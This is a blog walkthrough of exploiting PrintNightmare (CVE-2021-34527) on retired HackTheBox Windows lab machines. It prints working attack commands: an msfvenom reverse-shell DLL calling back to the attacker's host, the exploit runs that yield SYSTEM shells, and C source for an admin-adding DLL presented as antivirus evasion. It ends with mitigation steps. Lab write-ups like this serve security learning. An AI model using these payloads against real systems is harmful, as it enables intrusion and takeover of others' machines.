On Twitter, I’ve been seeing a lot of tweets about a remote code execution vulnerability in the Windows Print Spooler service, known as PrintNightmare, that could be used for privilege escalation. Furthermore, this vulnerability affects all the Windows versions.
CVE-2021-34527 has been assigned to the vulnerability. This vulnerability was accidentally disclosed by security researchers from China, Zhiniang Peng and Xuefeng Li, after Microsoft released a security patch on June 8, 2021 for CVE-2021-1675, which is also a remote code execution in the Print Spooler service. The researchers thought their finding was CVE-2021-1675, but it turned out to be different.
In this post, I want to play around with the PrintNightmare PoC to own Windows retired machines from HackTheBox. I’m neither an expert nor an infosec pro, so I won’t dive into any technical thing about the vulnerability.
Preparation
There are several PoC exploits out there for PrintNightmare, but I will use the one that created by Cube0x0.
To use the exploit, I will have to change my impacket version to the one that has been modified by Cube0x0. And to avoid conflict that could mess up other Python tools, I will use a Python virtual environment using virtualenv
module. If you don’t have it, install with:
$ python3 -m pip install virtualenv
The exploit also requires a DLL for later to be loaded on the target machines. This DLL will be hosted on a Samba/SMB server, and it should be configured to allow anonymous access, so that the exploit can directly grab the DLL over SMB.
Working Directory
To create a virtual environment, I will first create a working directory under /opt
. I will just name it as printnightmare
.
→ kali@kali «opt» «10.10.14.75»
$ mkdir printnightmare && cd printnightmare
I will clone the cube0x0 impacket repo as well as the exploit (CVE-2021-1675-cube0x0
) in the working directory.
→ kali@kali «printnightmare» «10.10.14.75»
$ git clone https://github.com/cube0x0/impacket && git clone https://github.com/cube0x0/CVE-2021-1675.git CVE-2021-1675-cube0x0
Next, I will create a virtual environment called impacket-venv
using virtualenv
.
→ kali@kali «printnightmare» «10.10.14.75»
$ virtualenv impacket-venv
created virtual environment CPython3.9.2.final.0-64 in 614ms
creator CPython3Posix(dest=/opt/printnightmare/impacket-venv, clear=False, no_vcs_ignore=False, global=False)
seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=/home/kali/.local/share/virtualenv)
added seed packages: pip==21.1.3, setuptools==57.1.0, wheel==0.36.2
activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator,XonshActivator
Then, I will activate the virtual environment with the following commands.
→ kali@kali «printnightmare» «10.10.14.75»
$ source impacket-venv/bin/activate
Now I can just install the cube0x0 impacket safely.
(impacket-venv) → kali@kali «printnightmare» «10.10.14.75»
$ cd impacket && python3 setup.py install
running install
running bdist_egg
running egg_info
...[SNIP]...
DLL Payload
I will create a dll
folder first under the printnightmare
folder.
(impacket-venv) → kali@kali «printnightmare» «10.10.14.75»
$ mkdir dll
And then I will use msfvenom
to generate reverse shell DLL .
(impacket-venv) → kali@kali «dll» «10.10.14.75»
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.75 LPORT=4444 -f dll > revshell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Samba Server Configuration
The exploit repo includes a guide on how to configure a Samba server for hosting the DLL payload in the README file, so I will use that for reference.
First, I will create a backup of the original Samba configuration file.
(impacket-venv) → kali@kali «printnightmare» «10.10.14.75»
$ sudo cp /etc/samba/smb.conf{,.bak}
Then I will replace the entire smb.conf
contents with the following:
[global]
server role = standalone server
smb ports = 445
map to guest = bad user
usershare allow guests = yes
idmap config * : backend = tdb
log file = /var/log/samba/log.%m
max log size = 1000
logging = file
[ef]
comment = Samba
path = /opt/printnightmare/dll
guest ok = yes
read only = no
browsable = yes
Lastly, I will start the Samba service.
(impacket-venv) → kali@kali «printnightmare» «10.10.14.75»
$ sudo systemctl start smbd
Target Machines
As stated previously, I will be using HackTheBox retired machines as the targets. Here are the retired Windows machines that I will use along with their low privilege users.
Target | IP | Low Priv Credentials [username:password] |
---|---|---|
Active | 10.10.10.100 | svc_tgs:GPPstillStandingStrong2k18 |
Bastion | 10.10.10.134 | l4mpje:bureaulampje |
Heist | 10.10.10.149 | hazard:stealth1agent |
Forest | 10.10.10.161 | svc-alfresco:s3rvice |
Atom | 10.10.10.237 | jason:kidvscat_electron_@123 |
Target Scanning
According to this blog post by Splunk Threat Researcher Team, there are three prerequisites for successful exploitation of PrintNightmare:
- Print Spooler Service enabled on the target system
- Network connectivity to the target system (initial access has been obtained)
- Hash or password for a low privileged user (or computer) account
Since no. 2 and no. 3 are satisfied already, now I just need to verify if the Print Spooler service enabled on the targets.
As instructed by the exploit author, I can use rpcdump.py
to determine whether the Spooler service is running.
$ rpcdump.py @[IP-ADDRESS] | egrep 'MS-RPRN|MS-PAR'
I figured out that rpcclient
can also be used to detect the availability of Print Spooler service by invoking enumprinters
command. If the returned output is “Could not initialise spoolss”, then the Print Spooler is most likely to be disabled.
The following is a dirty bash script I created as a wrapper for checking via rpcdump.py
and rpcclient
in one run.
#!/bin/sh
targets=$1
if [ -z "$targets" ]; then
echo "[-] Usage\t: $0 [Target file]"
echo "[-] File format : <ip>:<username>:<password> | 127.0.0.1:foo:bar"
else
for target in `cat $targets`; do
ip=$(echo $target | cut -d ':' -f1)
username=$(echo $target | cut -d ':' -f2)
password=$(echo $target | cut -d ':' -f3)
echo " - [$ip] - "
impacket-rpcdump $ip | egrep 'MS-RPRN|MS-PAR'
rpcclient -U "$username%$password" $ip -c "enumprinters;quit"
done
fi
I saved the script as detect-nightmare.sh
. I ran the script and it returned the following results.
→ kali@kali «printnightmare» «10.10.14.75»
$ ./detect-nightmare.sh target-machines
- [10.10.10.100] -
Protocol: [MS-RPRN]: Print System Remote Protocol
Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND
- [10.10.10.134] -
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
No printers returned.
- [10.10.10.149] -
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
No printers returned.
- [10.10.10.161] -
Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND
- [10.10.10.237] -
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
No printers returned.
Based on the results above, Active and Forest don’t seem to be vulnerable, but I will still test them out!
Exploitation 1st Attempt
Active (failed)
As expected, on Active the exploit is failed.
(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main)
$ python3 CVE-2021-1675.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18'@10.10.10.100 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.100[\PIPE\spoolss]
[-] Connection Failed
Bastion (failed)
I ran the exploit against Bastion, and it connected but then the DLL got removed by AV 😂.
(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main)
$ python3 CVE-2021-1675.py Bastion/l4mpje:'bureaulampje'@10.10.10.134 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.134[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_1734185bdb8f8610\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
Traceback (most recent call last):
...[SNIP]...
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0xe1 - ERROR_VIRUS_INFECTED - Operation did not complete successfully because the file contains a virus or potentially unwanted software
Heist (success)
On Heist, the exploit didn’t show any indication of a successful exploitation.
(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main)
$ python3 CVE-2021-1675.py heist/hazard:'stealth1agent'@10.10.10.149 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.149[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
...[SNIP]...
impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)
But strangely, I got a shell on my listener. I’ll try to figure this out in the Troubleshoot section.
→ kali@kali «printnightmare» «10.10.14.75»
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.149] 49700
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>hostname
hostname
SupportDesk
C:\Windows\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::c138:bcba:454d:8b9c
Link-local IPv6 Address . . . . . : fe80::c138:bcba:454d:8b9c%15
IPv4 Address. . . . . . . . . . . : 10.10.10.149
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%15
10.10.10.2
Forest (failed)
Similar to Active, the exploit also failed on Forest.
(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main)
$ python3 CVE-2021-1675.py htb.local/svc-alfresco:'s3rvice'@10.10.10.161 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.161[\PIPE\spoolss]
[-] Connection Failed
Atom (success)
On Atom, the exploit returned the same result as on Heist, no indication of a successful exploitation.
(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main)
$ python3 CVE-2021-1675.py ATOM/jason:'kidvscat_electron_@123'@10.10.10.237 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.237[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
...[SNIP]...
impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)
But then the DLL connected to my listener.
→ kali@kali «printnightmare» «10.10.14.75»
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.237] 62322
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>hostname
hostname
ATOM
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::6036:234d:b46e:b7d
Temporary IPv6 Address. . . . . . : dead:beef::6193:2da2:279d:6fea
Temporary IPv6 Address. . . . . . : dead:beef::94cf:8412:6dc6:a8ed
Link-local IPv6 Address . . . . . : fe80::6036:234d:b46e:b7d%6
IPv4 Address. . . . . . . . . . . : 10.10.10.237
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%6
10.10.10.2
Exploitation 2nd Attempt
Changing DLL Payload
I’m sure that the following error was caused by my DLL payload.
impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)
Instead of using the DLL to create a malicious user (so it’s just one-time load/execution/thread/I don’t know), I used the DLL for reverse shell, which requires it to maintain the pipe. Without digging deeper, this was my best guess atm.
Now let’s see if changing the payload will get rid of the error.
I will use the following script which I stole from this PoC script created by Caleb Stewart and John Hammond to generate a new DLL (I’m lazy to compile a new one from scratch) :
To generate the DLL, I’ll just invoke Get-NightmareDLL
within a PowerShell session.
PS /opt/PrintNightmare/dll> Import-Module ./generate-nightmaredll.ps1
PS /opt/PrintNightmare/dll> Get-NightmareDLL
[+] Created payload at /opt/printnightmare/dll/nightmare.dll
Now when I ran the exploit again on Atom, it didn’t crash this time, instead it showed the indication of a successful exploitation.
(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) ✗
$ python3 CVE-2021-1675.py ATOM/jason:'kidvscat_electron_@123'@10.10.10.237 '\\10.10.14.75\ef\nightmare.dll'
[*] Connecting to ncacn_np:10.10.10.237[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\nightmare.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Stage2: 0
[+] Exploit Completed
Now I can login with credentials of adm1n:P@ssw0rd
(default credentials from the stolen payload) using evil-winrm
.
→ kali@kali «dll» «10.10.14.75»
$ evil-winrm -i 10.10.10.237 -u 'adm1n' -p 'P@ssw0rd'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adm1n\Documents> whoami /groups | select-string "Administrators"
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
*Evil-WinRM* PS C:\Users\adm1n\Documents> hostname
ATOM
AV Evasion with self-compile
Another issue I ran into during the demo was that the payload got removed by Microsoft Defender on Bastion. Using a self compile DLL payload from BookHackTrick DLL templates can resolve this (I should do this earlier 😅🔨).
The following is the template that I use.
// stolen from https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking#your-own
// compile: x86_64-w64-mingw32-gcc add_user_1.c -shared -o add_user.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd.exe /c net user iamf <password> /add");
system("cmd.exe /c net localgroup administrators iamf /add");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
The code can be compiled from Linux using mingw-w64
compiler (sudo apt install mingw-w64
). I will run the following command to compile the DLL.
$ x86_64-w64-mingw32-gcc add_user_1.c -shared -o add_user.dll
On Bastion, although the exploit successfully evade the AV and the malicious user was added into the machine, I’m unable to login via WinRM. However, impacket-psexec
worked.
And I found out that Invoke-Command
from localhost is allowed.
So, I guess the WinRM on Bastion was configured to only allow admin account for remote access. I couldn’t get the “right” keywords to google this. Below are what I’ve tried so far:
$ winrm get winrm/config
$ winrm get winrm/config/listener
$ (Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
$ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
$ reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Mitigation
Microsoft provided two options as workarounds to mitigate PrintNightmare:
- Disable Print Spooler service
- Disable inbound remote printing through Group Policy.
Also, it is recommended to install KB5005010 patch. I have no idea to work with the second option from CLI, so I will demo the first one.
Disable Print Spooler Service
Based on Microsoft guidance, I need to determine if the Print Spooler Service is running by using Get-Service -Name Spooler
in PowerShell. If the service is running, stop and disable it by running the following commands in PowerShell consecutively.
$ Stop-Service -Name Spooler -Force
$ Set-Service -Name Spooler -StartupType Disabled
I will run that on Bastion.
*Evil-WinRM* PS C:\> Get-Service -Name Spooler
Status Name DisplayName
------ ---- -----------
Running Spooler Print Spooler
*Evil-WinRM* PS C:\> Stop-Service -Name Spooler -Force
*Evil-WinRM* PS C:\> Set-Service -Name Spooler -StartupType Disabled
After disabling Spooler service, I ran the exploit again, but this time, it returned a “Connection Failed” message.
The workaround is worked! But, the downside is that you loss the ability to print from both local and remote 🙃.
For more detailed mitigation, you can go to this GitHub repo.
References
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
- https://unit42.paloaltonetworks.com/cve-2021-34527-printnightmare/
- https://github.com/cube0x0/CVE-2021-1675
- https://github.com/calebstewart/CVE-2021-1675
- https://github.com/LaresLLC/CVE-2021-1675
- https://unix.stackexchange.com/questions/583374/i-am-having-a-hard-time-installing-impacket-into-kali-linux-can-some-one-point
- https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking#your-own